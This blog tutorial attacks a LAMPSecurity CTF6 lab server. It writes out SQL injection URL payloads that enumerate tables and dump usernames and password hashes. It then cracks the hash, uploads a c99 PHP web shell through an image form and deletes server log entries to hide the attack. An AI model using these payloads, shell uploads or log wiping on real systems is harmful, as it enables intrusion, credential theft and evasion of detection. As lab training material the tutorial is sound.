Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vOXodaV01ZvuQaiAnQN0LuwXhWYVS8kOvBfBEcq95kzKmRE8-YnTiRp-y5RmyF5zVcksjsZ-2f9R3Nn4h9pVS-2iFQ6FyHYV7aUEHoRQUb_GawY1FkfSqP1kn7zLFcPWf5yw035EJyvGmMIe6TsEykOg6ONuWkUJBJw8pdA62BlG9l=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sVFb69hfGsTew1PW4EAG7F9_wUx8m6DnnEdkGxjFmm7xgId98wkKv8-mmVA23qfRVzyJixQom04rU5i4wd0CJ33Xr_MZ3TFx7ykNXWsOB5P8wwUS9kctEnwAoIUkHSpLzxrpUQT_Pub4MGjtH6Ph9Vf2JzRBQgDhr9kgiZN63xEPhyIw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tptMy_w0dpxqSZ_QyQOwNF9Y4dObhoIYm4G6cVrg-Z9t2GEgiVoicq3sWad4EjL2kyh8SVecCzAo3ubjyFuW3HQUCGnMnMp45KF4-cQLfejJGFCg2gJY7knfyn9GGVkAILt2mTLxXiGrc37eHy2iM1DOeeeMpN6hvtZTsDWezHcobV4w=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tNhcMMVM0WrHRwg_X9hBSwEXgHe5it7eI3aYJg3V_BpD2QvWOv6c_UanURkrqJdtsuSGiknyNJujKcnSOIiDO3Jgox3-OOhs13MiUbfmUfjFPeNUsdXJEvWKGxXu_TRhg8TKvri1FfazGv56daiNSUmsKz8Rg4lXYFUsdey95zi4ILow=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_udWLYmSG8JVCLCZIUeepLcjHrV--CPa4cJtb9gr6YqAf-hqrQ9nnXCUqKtsReOk2DJGz7uV3oOjxHrM69keAZuQXFOQoW8UExeDe9daPH8aLGTRxPA9pAJF7MAvslIluyk7Majb_ihyurlZKhDmF1lQDGl2ZmK5C8781eEQC6P16av9g=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v2tl0p84jCASPjudwSEIaeL6KfJMW-nI0Me4iIUr-JeTwV86VwcA5F2gprBJ83AYiDhl0y6rttpF4E3E1W7lNq5zdqSPWFaX6GZLZwDytsueAcEY8DXN2TCmiEe0uVemErNcjuDbH7d3AzOXbzlhBGZOtiQwTD8IjILcpo2YC3l0NS=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uyhZ4UR__0JKuNzpAGI81-tFmo6dRo6ikLHcAKAeE4oU4Rsu539FfOdeqBRHOnNGn6LjElY4xZZNxRLAnKb9jwYlFxmEX4jIrsjz624N0VsjQOHQ_KuegXSIySJEE_kEN0gBHen4IuCIrTdUE1D4-gqAtA2XRZfXX-ufikDpfNgh9L3xw=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uyC6ZXfYToN-mykDP7J6Stjwjvg9KZg6lRHGkYe6O7UreVrB02to3jeRDn5q3rQKqKP93e5SwVjAhpoEiEfxpA59ge0cdZmQYIccJKCyRDPJxuvVc0d3fUxplR6lv8ORLJpaZc0zbn4SJRrEzCxzD7BgaXbg1XmA5MxIyJ5jLjvQXwcQI=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgH-x-_E9w8d-UHuWHng_sDorv2Vfa4PdM-k3r25o59X8y7WnpLEBZal4Ryg5cC0c8CYZBXlCQyI2cz6QTHQavGB_B7I8h0zyr0mKuxwTGq9tOfnrGs2LkGQ8Srennu5Ezejm-Gyr6E9FvXURRJy5zTemijtqEDrH7Kr23f6686LozXZE=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u_i-X4vZ-4je8xqQ5C4oNXnrwbPcoAhftKY9G0aIQV-oJThgdEDqAlgfP9DGQ1xxohdtGFUIHy42OxGMZ06KtEtRId9CIZDf81oictTxoZqysbnamoZIxdsu6GLNX-ilxVzM51WaTjBhLeRfQ06PQowwffkiq5eZ1LKPdUQGIvAdXv9Gw=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYNzkRy0Wah41-iUa39Grm50DPxUEWpwGvOwH8TCT-N1jRUX5amC22cSa5fXuZjBhe0J5iUS9yaMcpGmvCkI9I1cBWWM4MdLQtCoP2cz2jfGd7fPUZ3dI3rSUC5rf85GyyS2ewHZiHmYRM4RbT92tbDij1tRc5rp2qnIMyKWo1ag0D-Q=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbmEuGjQkZ7ntD6BssJoyLxTm7LjdEBOSVHSCHXLUD51-LFpfnEQ5EMLJHBZj9jD_gXOjFqdO0V4t_9OwMn7a1cHMewfRklgOJ9Ee79hmjMRmDI-19i615GWtrHdoeqiRw_T6YtwjhaplyfVnIuRdm5uNxjhjLIC5GfSgNyOXU_LSabnU=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tIZc53su92ARvAX2HL-SCc_75j3upGxtxKB9_EisAd55tj2brNMd1EnRTBWkeUPBco1VqDeA_Y2dRE2gxLYucl2OVvwyS8oH_Rws7HwXf0wsysSNy_OoHm_W28E-LvC12cFIMs9bC4k6baowzQ_QEneOCIMvBGqYaN8OSiblV-cIdJc20=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u4GQfvcxreKfWy1MrpSemEq5N1436VvF576gB1P_3xJ3laoqZaz4ZRzeIGE-8vWKJdQt0Oi8RCk56yXn45kzHsA1alNHZHHQSLfXA1ErMXGti0Y8MTk_U5VKKKF3vVJwl1YoDCr7GgpoJptBG-_k1tDrDI-a5DNSub_KdxVu0GbLdB2w=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6CSeK7ZM3RijhLZpcuIGpp1c3k3JKZmRKzevE8VjoG_wZSICKrNooKoC1OCTuJHCIOYpVZ212Y7DsNoR26IGe64lWh0jFtrdFR4SjnrT_S25SGHTtRaa_jXvFKC9oHY6Z46W2pqtT4dvW_YtVLcFQlhIJBp7BQqcgeQeDuk3nn4f9Cw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYGBNGbOzLRUt8B8RzjPizOJphmFf4B0dcEwO2dcXCM9nRZz5lenfGS11Qt4bGrhDt_SYSwu_IToMnrJevgxVaMmNvmqkzU70gq-aKmyFEdBq2Y9zGNGg2aITbn0dySdNcx5lT6T7pZ1glcHJCRhAadLwBKYsBTyQvh668A2egKslhytA=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vbXHvLk3flBpo3MPIAzWOsk7I9Pp4H3Jdyh83gqwUFsCo-sdckO0sttiGZBVFz2KlysIT2Cilp3l2ufT7LEH1A3K4BvKDVUtxLZy13tVeEyeKo4H-RznAUBajGpN0P5McpXrcOTKptlS_49qYDFn5cWRFLwP4FtzE8LnJnl1tlBqr4XuY=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sMSN90Sk4MLSo9bhAzCAcGTdsdi6_50SY7Z-yvz7783HSLkNN_BU-CmywZr73sie9LruEVPJxzvR27yw-QMUbUxhW98aZco23bGHmIMNFlohcX04P2nRhdfn5gFnUaS9kvsz8MOqZPL_a2ND8XbR3XtFcc72fXoF--gtRZq7FDsh9cdY4=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ucN8MQS4t6j78WjG_P_zITDdoj51iqzvZKasWKgqVF7CjOGNEtJJJEmYKk5eD9NMjkxO_eskj5pBOBt346pLK8r_doFFVR2Pb3l_XCqcWxS8zsZ942X5vnLq644X3lIaXYge8YX3CY2JB7jR60so8nxz-JplxYHzLREF0OO4ayHlsyi5s=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uAZK_4Y5J05EiGK6kfgpYIWdRW-NGL078zzx_dWRT0XJietsODYqVuHnwdwoDqjwWMLjtcA5gm_SZCo2dUDyduD08CZX70QL0XhJA1xxoOUSQKoJgW3HjRgndCvRRz0SeO3iMsiy73bzLeREIWwQ2vH0f0H2m4uUpDpW-YApfdcbxIb_Y=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_upmctvZ0GbVk6c4OuORMy658b-yArDSeHsyFtyx0Bh3S5e353p-YR6OKejaTxL6um2sBjFVqAEBnWyGzSiKsEl-VKHbqIe3tsAhDJTlNeEWczY7jtp4ysfLsOT1oxpD337eRCV7kaO5pfVHSJH0XadV6sJVh1iKp8KxSV0eiIj9F1miIQ=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vuM9gX7eBluFsPaUjRxJfCJRqevUrHbvAKISbuE-JYta9mjHrAjhLGncK2Pw5qz5k2FKp7r3T7xDLmYgbl0EYELh_1M02xfbUFRQTNSQibGRKMDSn8MX8EziWO4VzE6AlAXv9kN-_TJ5MivTKUEPWpr5sVFQiEBvFmU9FYCC46vCvk4dc=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v4RHBrOr7lE7B0IbqX8boGR1YwuhkOTSd2vrLOae8S6fZBMJjjkAARZ3tHaAoOCy386IowjcxvbPfVyeKNpAxD22amdhSJlJlE_Eou1ziQUyt0iZ4ry6QSrfQmU0nm5VA959IoCDZCeJJBSqfM4nVOsN_FQnAIVNP3dAEGNkgBvL-mDq4=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sIRWdoLW7ec-2EfakZrMXi11hJzYXdCjdxkFPRD5ISgFyuQZ9BmNm7WcXXUKXMGdIa-0-T2Wob3P65xKlp2vahlpFT2FVz1xJ6XJrZWZsoXHyORPjVsQQBQZlb9vRWnJOPzuSc2xH61zON-G0AXg8KH8mF95_caYSwOE_Dvdxa_JtF80o=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u_L8mkdJozXxEFeOyDxRcLG_g8zV4d0ivwU0mnj0J8nMzCWOW8w7A6mo_nIQbCaXEehWwIMrYUqqgtCSHFoOe23-v-lUtysazubgK8qcH8Vf7uh7PeX9kVn-qlJcKIdSP0-LXMwral0cqznmrKjcKcd9ZA2fkta_pX35nu6RM4KzcQvA=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sKQv8rEFXf266eLB46f5Beom8m6a0mqJlXxLJ9chDYMlE8DCYVYC_3NvCTE1jiDsZenjr8t8CsfuFKj43_-ziDrqD-VgO-M9kf2FzE5ifYGseS_1dGtGJcNG74me2q7R_a9oGvTlw_cwrhVUeOlvpzWpFHNv8oLu4PsselQNgNwV5Vrw=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ux4AnpNt_YTqWpeViVELLRk9QcpRBD6bnrhMvu9KLO3rKafrl7wOIvSfNneepsSN3Fs9ZrBoJXpxGaLyRsZDE7wmJMM4o4Ei1RMb8H15jxI2zCl4j7O8Hi4TcIWOzx5uP8nmDaepM1WQCQM8FzEDyYTiI0SHVulOD5jfT_Zd6EeCMVlgs=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vSEWu8zhM8iLOtWJ67snUL34zvdXn8hKjTnlanoePYFCCJbPAW6Xq8Mshu3lD47K0HG6o86BZa1K8WAipu24zZiPj2NZHpU_hRBRZicH9Y8kH_jSCHD3-6ljafNXcK9GqxGpJIFBR6PYoxSxYiei1as6Zj486-0J-Jp1Wxk-hP3_hOszU=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tHniXJ3K17forTMQtfMA8JZ_MibaILbItXP7Cz4j42B-AiOd-Yx1SDf3zdPFbBR0LI4wqiYK0OXV5iPlQMmxGownKUPIGXcQJu0Xuehi-bxqp1v8Y-pMXWl4Nu0dMpqfvKFqpx688lRJXuuI_cmuCyCTam0dGSoX7JuxLDz8qiVm4nlQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uVjfc1cilq8jCcH8u6vG6ToybGakc6ndWVkyegkNiQMY45iJLJqxKkUvDMyTpVpcFf2KrStEN_Y22maMPuYCJxNgmmiURbSrpWLnm7fkWk7kwbiCSyVEVh35OZOSOCciLY69cCEp9UJtZexjivLNpBKhKcuEimyL70t0iuDm29Ms6RCrc=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYB8F1GNTbD45J49bIY_TvqLy8AuAmihbn-Pq66J0ldTnM1D2TsGo9hRJANOe2ynjZVW1FSDXT1UmXgGDDs5h3vw12QS4SVCpPWGMrlh2ebIWVqVe1excTIMezzjEbg0EJ0plmExATNs34mAG4vJo7aRGdeqCfbKu6JmL1udw4bz4i6zU=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uC2VYn65pDjgDwlW3t-JzVYg1biLQ981R3tsNBrOkvxl9lsOwHeDFLMqMxEzf2agfUZMuA0RekHiwAHTWiiUWbUZo98EN8ku1mZnIyecLLFSbvdHTWJA1Mc38EBBbUGJTl9_CM43CTXG4psQ6QDaYFPcQoiS4l7fq6-LzO6pXNu1t-PIM=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v7AfOWofaXLCGLbjYs4jFWqIukBChSxf1ucfiPquRsaaaAJSg2laWue34LdWOb9tU9SCB2F1NIJFrCeRRajTr7qHOYquFYH17vjG7m08FJ74UYVCXo7VeVrsKbfQyONtXO3YxIZoc-3_2XfJgnOnRDr7bD5FOfYYGoSKS7ZT64PZgD-sA=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJb4eDv2UJyJjuJsHWdbyuaw5IL-QJjTJjGRQDIIBm6SMbW1YPQI4RMHMWPpyxj3toF-Pxx_RobyjhPbqHks4gf04Y6-KeDquHtUskTbZLFusPKsPT79Da8u2__ibHkC3wLQ2T1ONsGZSGfuODPU44NRMJxXN37FXPM9__jwiJIyY9qZY=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uVoYRfpIPrbG9og6WWHGL5kB0zETTWhlQeLonWvmM0GcKvRbT-vkb7LYMCdGM2h8u_YnReJy__35mVQhSv-puU5wmX8iWol_byCn0_tNkJON686bFARnVwwfJEzjhgX3VIZgPDo7wvsh4drljimSpDpcg4yARtby40BiYlbxRaZsFFlk0=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uPgjsUIbo4UGauyLnp4BP1VEt3iPVScy5Qg2dSCLf7AKe_LxF9xaNguQY6EKf6KZG5KRSoskGF7vfg1CrHJeb08gwujyBJqrI8HcZTN0t67fPRhGl0wTdlwMXqDQPOfdHtg37qmWiFKqYjmes9FyK6qxeqgnuzcs9BdDsqXWqV8TEB2mU=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYUx_schZ5ocXWHbukyMIgtEdIcFe6E9ISX7FPpVaW0rjtkPSc670GpTVLoO0xJpkbsoWAwv6uLaWNH07j8n1Oh92mo9niPIj8IICew-ivERnSTCjpZApd8YrZKcoPup1pmCHh5ZnY-kTaWrRhUaGf80aAGXkp2Tdxa3CmmqrqA4t4mA=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vA8zXWJ0XM-kKMIONazyWh-mpJvfNRrMrRV6NG9GXAGioxcMfeKhlpzWTiZFcUaUZdw92i678Oau_t1QgXAmxWDa1Iqm-XF-e0nC32GUfQT_SmhRVZrxDt0hXtlBWO_XBx-guWFRHewNOVRCvLY441mjFHNdIDwEKos9DfMS1OL_gBvUo=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vaDQkIRm-CzMuhZUHX1aQ-jfD6dXXABHXW8_gfeeX1Fs_uqIkjIgtJdcZ72aT234ybApPJWylMCkQkqYDwvU0AxlhNEe2GfUSUYo8ofk3EpzoZ5mGkX0VrSrgR8hM8oMH8B_zAMCbbl9hA-EcANlXPH2eg8yzu_cOHBUmUwetWmomGsg=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tukKC4zRzy7R6tYSf2tElTE09y1-Gj0ZEWd2rMqhLxqLqYU3kGCEzU3AcDkDXMbegEcpKagV_R0CJJg7P-O4FMGgzCPvr5-O8uXAn437jzoT0L2vFarbdcUBXSV-esDndvIl9vMGPhwQLuxCEs4foq1OZeoQw7QN6Hccy5hGsREkBE7fk=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfVd0QXL-49QI9tTyWjesAFM1UdlnfEv6iRkxyZHT15-bPadvOFQK97Z5LP1HCkTSIuH4VM_RZJSmCV_7qULeE3sY1ghdV9R5r3IEGoaUCaUji_AMVtHrGSeuRznwSvNprX_sSGF_QygdQLw2owEfPPoKYwy82bgz2zJKPxN7FnhOg3Jw=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tAkwIip29ZXimVpHptemaV41FMwBdBLMMjIHawYDG7Jug-kSRUGGKRGFYKX2hXZWeaFhoLZJJJa6PKlNsjSSqOnt0ksQGVZp5bOoLK7ilihRaJP12hbAEYHsn5mx_Wr6S3CHbeAVZZtgzOqsUq4msUsW65VYs9KxBzJKECxBovGw9o6xw=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t2Ur5seBGYyFVGJ8QFYJyz8Mp95__UcA5RAsUvkfkvbwja26IqN0rUJw4vNqZGTjQ4DNq64qr26qDZdhYE0GsKRJsdCgh73ld1XPJJt20LMZnkNLneT_3LsccgNgWhXAdeyJrzu3YMtFAxYMktFYV-paAtN0w7ttFQ_rWHqiFZmtD_B-Q=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vspAYOwuI8SKsQw8vU1P6e32zyl_YY6GnjevUw0lK1C9PBbF07zMNzXclRMRaL17XlYd3Ui824mus_cNF5BXNoV1zSmiRACKnC4M8S-e7LKsuIuPdzCWi9Y29hejVZ2t1kmlMbqHz5xeTOsnFmFKcsATBzCQ8BvLXlFQ2Vjf9F3xKXyw=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_seJv1TCP_yJCDirqemKpKG_blw-6P4SNE13teCQs1M-QKeoAHZrma_3l2unVy5cnx8b7XCiJkh1KdVftT0dgFL8xr5A6ui2CQsYtksVFX5K7II6nG1jVAMJn8RkcJohJ6al-64fiUCtj2zzthu3Bzce7b1gOSvZnE7rLviEXh2LBxEe1Y=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete